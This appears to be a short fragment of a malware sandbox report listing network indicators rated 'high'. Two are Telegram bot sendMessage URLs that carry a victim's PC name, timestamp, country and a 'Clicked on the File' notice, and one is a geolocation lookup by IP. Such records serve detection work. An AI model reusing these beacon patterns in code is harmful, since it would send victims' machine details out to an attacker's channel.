    https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2016:24:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
      		high
      https://reallyfreegeoip.org/xml/8.46.123.75 false
        		high
        https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2017:43:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
          		high